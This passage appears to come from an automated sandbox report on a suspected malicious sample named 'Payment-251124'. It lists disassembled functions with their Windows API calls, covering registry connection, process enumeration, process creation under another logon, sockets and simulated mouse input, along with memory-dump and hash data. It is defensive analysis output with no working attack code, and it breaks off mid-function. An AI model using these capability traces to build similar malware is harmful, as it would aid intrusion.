                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                        • String ID:
                                                        • API String ID: 3761583154-0
                                                        • Opcode ID: cb22fae5ffba831e9ad9613a64b5916557668655b49e4b33c999e0b6a80c3168
                                                        • Instruction ID: 99bfa2aea60df9261ec4b085fe5ded9f1762d34664383a7a19d9df47875a440c
                                                        • Opcode Fuzzy Hash: cb22fae5ffba831e9ad9613a64b5916557668655b49e4b33c999e0b6a80c3168
                                                        • Instruction Fuzzy Hash: D2215879701204AFDB10DFA8DC89E6A77ECEF59370B448125F909CB2A1DA74EC41A754
                                                        Function 00F2A2C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EDD1BA
                                                          • Part of subcall function 00EDD17C: GetStockObject.GDI32(00000011), ref: 00EDD1CE
                                                          • Part of subcall function 00EDD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EDD1D8
                                                        • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00F2A32D
                                                        • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00F2A33A
                                                        • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00F2A345
                                                        • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00F2A354
                                                        • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00F2A360
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$CreateObjectStockWindow
                                                        • String ID: Msctls_Progress32
                                                        • API String ID: 1025951953-3636473452
                                                        • Opcode ID: c101a7a4f741a9591f02542066c3bf91fb54a38abe326c8062222af03f398da0
                                                        • Instruction ID: 7ce3ea16560c26d17111f356e147e9913a87cf1e93353d7d8fb47b58c697a064
                                                        • Opcode Fuzzy Hash: c101a7a4f741a9591f02542066c3bf91fb54a38abe326c8062222af03f398da0
                                                        • Instruction Fuzzy Hash: 1F1181B1550129BEEB119FA4DC85EE77F6DFF09798F014115BA08A60A0C7729C21EBA4
                                                        Function 00EDCCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetClientRect.USER32(?,?), ref: 00EDCCF6
                                                        • GetWindowRect.USER32(?,?), ref: 00EDCD37
                                                        • ScreenToClient.USER32(?,?), ref: 00EDCD5F
                                                        • GetClientRect.USER32(?,?), ref: 00EDCE8C
                                                        • GetWindowRect.USER32(?,?), ref: 00EDCEA5
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Rect$Client$Window$Screen
                                                        • String ID:
                                                        • API String ID: 1296646539-0
                                                        • Opcode ID: a40a5d981d18ed3a01f366cd3ccda619b025427c58b2e05411dcbc45f12984a5
                                                        • Instruction ID: 0ab6bf12b0c02c3e333ce12e301483f5784ff61a2b7656cbaf14ba733c4e15b7
                                                        • Opcode Fuzzy Hash: a40a5d981d18ed3a01f366cd3ccda619b025427c58b2e05411dcbc45f12984a5
                                                        • Instruction Fuzzy Hash: B6B159B990024ADBDF14CFA8C5807EDBBB1FF08354F24912AEC59AB350DB30A951DB64
                                                        Function 00F21BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateToolhelp32Snapshot.KERNEL32 ref: 00F21C18
                                                        • Process32FirstW.KERNEL32(00000000,?), ref: 00F21C26
                                                        • __wsplitpath.LIBCMT ref: 00F21C54
                                                          • Part of subcall function 00EE1DFC: __wsplitpath_helper.LIBCMT ref: 00EE1E3C
                                                        • _wcscat.LIBCMT ref: 00F21C69
                                                        • Process32NextW.KERNEL32(00000000,?), ref: 00F21CDF
                                                        • CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00F21CF1
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
                                                        • String ID:
                                                        • API String ID: 1380811348-0
                                                        • Opcode ID: 69f92436a826c49d52bd5b33f8aae2de30a85d52765987b7f8d7fae57be3db24
                                                        • Instruction ID: c79c7dfc20ea1405637ec1bafafbe28347ff26717320a662cf776a6a785f6429
                                                        • Opcode Fuzzy Hash: 69f92436a826c49d52bd5b33f8aae2de30a85d52765987b7f8d7fae57be3db24
                                                        • Instruction Fuzzy Hash: 26518D71504344AFD320EF64D885EABB7E8EF88754F00491EF989A7251EB30AA05CB92
                                                        Function 00F22FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F23C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F22BB5,?,?), ref: 00F23C1D
                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F230AF
                                                        • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F230EF
                                                        • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00F23112
                                                        • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00F2313B
                                                        • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00F2317E
                                                        • RegCloseKey.ADVAPI32(00000000), ref: 00F2318B
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                        • String ID:
                                                        • API String ID: 3451389628-0
                                                        • Opcode ID: 97794ac226307f43dd999de832d953e0e7ab94c022910f12f6b8c28e806339b7
                                                        • Instruction ID: c6be9318c004d1f7dd44e4fca4c522d98e371b2759eb5c23b41638a40ccac7db
                                                        • Opcode Fuzzy Hash: 97794ac226307f43dd999de832d953e0e7ab94c022910f12f6b8c28e806339b7
                                                        • Instruction Fuzzy Hash: AB518871608300AFC700EF68CD81E6ABBE9FF89310F04491DF545972A1DB36EA06EB52
                                                        Function 00F284DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetMenu.USER32(?), ref: 00F28540
                                                        • GetMenuItemCount.USER32(00000000), ref: 00F28577
                                                        • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00F2859F
                                                        • GetMenuItemID.USER32(?,?), ref: 00F2860E
                                                        • GetSubMenu.USER32(?,?), ref: 00F2861C
                                                        • PostMessageW.USER32(?,00000111,?,00000000), ref: 00F2866D
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Menu$Item$CountMessagePostString
                                                        • String ID:
                                                        • API String ID: 650687236-0
                                                        • Opcode ID: 835cf49f15e76e153e7911e12d2fa8c715972f41522cf9ab0fc8aefa5fd3c414
                                                        • Instruction ID: f5bcebc055c70f8f374bb51386fff76a723c4f9a3ea16f36bdd78ce2135c5944
                                                        • Opcode Fuzzy Hash: 835cf49f15e76e153e7911e12d2fa8c715972f41522cf9ab0fc8aefa5fd3c414
                                                        • Instruction Fuzzy Hash: B851E375E01229AFCF11EF54C941AAEBBF4FF48360F144059E905B7391CB74AE429B90
                                                        Function 00F04AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F04B10
                                                        • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F04B5B
                                                        • IsMenu.USER32(00000000), ref: 00F04B7B
                                                        • CreatePopupMenu.USER32 ref: 00F04BAF
                                                        • GetMenuItemCount.USER32(000000FF), ref: 00F04C0D
                                                        • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00F04C3E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                        • String ID:
                                                        • API String ID: 3311875123-0
                                                        • Opcode ID: 8d0194d100e687e1da6e76a613c8d5a70b4c3658b011401d94d01fb0a21b77f4
                                                        • Instruction ID: a5b450e6724fb5d643ac3e702049953b7a29756ed10fa09b940d38c7ad3b0118
                                                        • Opcode Fuzzy Hash: 8d0194d100e687e1da6e76a613c8d5a70b4c3658b011401d94d01fb0a21b77f4
                                                        • Instruction Fuzzy Hash: DE51C4F0A01209EFDF20CF64C984BADBBF4AF55328F148159E625972D1D770A944FB51
                                                        Function 00F18DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,00F5DC00), ref: 00F18E7C
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F18E89
                                                        • __WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 00F18EAD
                                                        • #16.WSOCK32(?,?,00000000,00000000), ref: 00F18EC5
                                                        • _strlen.LIBCMT ref: 00F18EF7
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F18F6A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorLast$_strlenselect
                                                        • String ID:
                                                        • API String ID: 2217125717-0
                                                        • Opcode ID: 0ff25ba8d1cfbc74a23fbe531581f40c6248fa1bcd115cb7bb9c820df7d79adc
                                                        • Instruction ID: ad16d87d03960e2a186a98872df8a4c499fd13192b633b237932af1e9d1af7d9
                                                        • Opcode Fuzzy Hash: 0ff25ba8d1cfbc74a23fbe531581f40c6248fa1bcd115cb7bb9c820df7d79adc
                                                        • Instruction Fuzzy Hash: A441C371900208AFCB14EBA4CE95FEEB7B9AF58350F104659F51AA72D1DF309E42DB60
                                                        Function 00EDABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • BeginPaint.USER32(?,?,?), ref: 00EDAC2A
                                                        • GetWindowRect.USER32(?,?), ref: 00EDAC8E
                                                        • ScreenToClient.USER32(?,?), ref: 00EDACAB
                                                        • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00EDACBC
                                                        • EndPaint.USER32(?,?,?,?,?), ref: 00EDAD06
                                                        • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00F3E673
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                        • String ID:
                                                        • API String ID: 2592858361-0
                                                        • Opcode ID: f39aba53ca13bede0469ea11052c0fe1bff5a953dc9162e46e732f50c1864231
                                                        • Instruction ID: c1a3654484b7d0d1a738631bb6535f48cb9baad034305acb62c073b40c4fde52
                                                        • Opcode Fuzzy Hash: f39aba53ca13bede0469ea11052c0fe1bff5a953dc9162e46e732f50c1864231
                                                        • Instruction Fuzzy Hash: 0441AE705042049FC710DF24DC84FBA7BE8FF69334F18066AF9A4962A1D7319946EB62
                                                        Function 00F2E397 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShowWindow.USER32(00F81628,00000000,00F81628,00000000,00000000,00F81628,?,00F3DC5D,00000000,?,00000000,00000000,00000000,?,00F3DAD1,00000004), ref: 00F2E40B
                                                        • EnableWindow.USER32(00000000,00000000), ref: 00F2E42F
                                                        • ShowWindow.USER32(00F81628,00000000), ref: 00F2E48F
                                                        • ShowWindow.USER32(00000000,00000004), ref: 00F2E4A1
                                                        • EnableWindow.USER32(00000000,00000001), ref: 00F2E4C5
                                                        • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00F2E4E8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Show$Enable$MessageSend
                                                        • String ID:
                                                        • API String ID: 642888154-0
                                                        • Opcode ID: 0b4544800ca22748e1ac33a63e88f17a23b1a32caf3a844038382a0e4ca1adc3
                                                        • Instruction ID: 328e867519c3a5eb844cf5de1a4a40dc035d3a32c7a3a64a51fae60e59278e1a
                                                        • Opcode Fuzzy Hash: 0b4544800ca22748e1ac33a63e88f17a23b1a32caf3a844038382a0e4ca1adc3
                                                        • Instruction Fuzzy Hash: CC418338A01154EFDB22DF24D499F947BF1BF19324F2841B9EA588F2A2C735E841EB51
                                                        Function 00F098BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InterlockedExchange.KERNEL32(?,000001F5), ref: 00F098D1
                                                          • Part of subcall function 00EDF4EA: std::exception::exception.LIBCMT ref: 00EDF51E
                                                          • Part of subcall function 00EDF4EA: __CxxThrowException@8.LIBCMT ref: 00EDF533
                                                        • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00F09908
                                                        • EnterCriticalSection.KERNEL32(?), ref: 00F09924
                                                        • LeaveCriticalSection.KERNEL32(?), ref: 00F0999E
                                                        • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00F099B3
                                                        • InterlockedExchange.KERNEL32(?,000001F6), ref: 00F099D2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
                                                        • String ID:
                                                        • API String ID: 2537439066-0
                                                        • Opcode ID: 89111feb62bacebfcb99b6a7d586f7c7fd2479bfe342dfcdd852f9ce9566c4d9
                                                        • Instruction ID: 59a3ecdd90a7a5baa1c46bd1b329e65e6f318999fedbe9bb277aabb1388c34a7
                                                        • Opcode Fuzzy Hash: 89111feb62bacebfcb99b6a7d586f7c7fd2479bfe342dfcdd852f9ce9566c4d9
                                                        • Instruction Fuzzy Hash: AD316171A00109ABDB10EF94DC85E6EB7B8FF85710B1480A9FD05AB286D774DE11EBA0
                                                        Function 00F19B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetForegroundWindow.USER32(?,?,?,?,?,?,00F177F4,?,?,00000000,00000001), ref: 00F19B53
                                                          • Part of subcall function 00F16544: GetWindowRect.USER32(?,?), ref: 00F16557
                                                        • GetDesktopWindow.USER32 ref: 00F19B7D
                                                        • GetWindowRect.USER32(00000000), ref: 00F19B84
                                                        • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00F19BB6
                                                          • Part of subcall function 00F07A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00F07AD0
                                                        • GetCursorPos.USER32(?), ref: 00F19BE2
                                                        • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00F19C44
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                        • String ID:
                                                        • API String ID: 4137160315-0
                                                        • Opcode ID: 73906bc4db928c0f6cb08c03ac136af5581d9e9087c144e4557dfa342375575c
                                                        • Instruction ID: dbc455fa9357721c37b133cbd9e8248df0477554b4237cd46e6b90ac3d062a0c
                                                        • Opcode Fuzzy Hash: 73906bc4db928c0f6cb08c03ac136af5581d9e9087c144e4557dfa342375575c
                                                        • Instruction Fuzzy Hash: F831F072608309ABC710DF14DC49F9BB7E9FF89314F00092AF985D7191DA70EA44DB92
                                                        Function 00EFAF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00EFAFAE
                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 00EFAFB5
                                                        • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00EFAFC4
                                                        • CloseHandle.KERNEL32(00000004), ref: 00EFAFCF
                                                        • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00EFAFFE
                                                        • DestroyEnvironmentBlock.USERENV(00000000), ref: 00EFB012
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                        • String ID:
                                                        • API String ID: 1413079979-0
                                                        • Opcode ID: 865a22725b911741e33f52280311e292de76e1245897ebb88e8190cdbadee81b
                                                        • Instruction ID: ebc605d7afd3c7e1de36de509847e8af16b351bc3ac67dc9c46e8baa10b12a8e
                                                        • Opcode Fuzzy Hash: 865a22725b911741e33f52280311e292de76e1245897ebb88e8190cdbadee81b
                                                        • Instruction Fuzzy Hash: A9214FB220020DABDF128F94DD49FEE7BA9AB45308F085025FE05AA161D3759D61EB61
                                                        Function 00F2EBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDAF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00EDAFE3
                                                          • Part of subcall function 00EDAF83: SelectObject.GDI32(?,00000000), ref: 00EDAFF2
                                                          • Part of subcall function 00EDAF83: BeginPath.GDI32(?), ref: 00EDB009
                                                          • Part of subcall function 00EDAF83: SelectObject.GDI32(?,00000000), ref: 00EDB033
                                                        • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00F2EC20
                                                        • LineTo.GDI32(00000000,00000003,?), ref: 00F2EC34
                                                        • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00F2EC42
                                                        • LineTo.GDI32(00000000,00000000,?), ref: 00F2EC52
                                                        • EndPath.GDI32(00000000), ref: 00F2EC62
                                                        • StrokePath.GDI32(00000000), ref: 00F2EC72
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                        • String ID:
                                                        • API String ID: 43455801-0
                                                        • Opcode ID: 4576ea922ce8b03a0476f663877ad4d6d1894b2500535077d22831add9255211
                                                        • Instruction ID: 5d5090283aa13ccf878be44841b1f43dd0f9467b9391c0c9b9f929a5788b2dc9
                                                        • Opcode Fuzzy Hash: 4576ea922ce8b03a0476f663877ad4d6d1894b2500535077d22831add9255211
                                                        • Instruction Fuzzy Hash: B6115B7600014CBFEF029F94DC88EEA7F6DEF09360F148122BE088A160D7719D56EBA0
                                                        Function 00EFE19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDC.USER32(00000000), ref: 00EFE1C0
                                                        • GetDeviceCaps.GDI32(00000000,00000058), ref: 00EFE1D1
                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00EFE1D8
                                                        • ReleaseDC.USER32(00000000,00000000), ref: 00EFE1E0
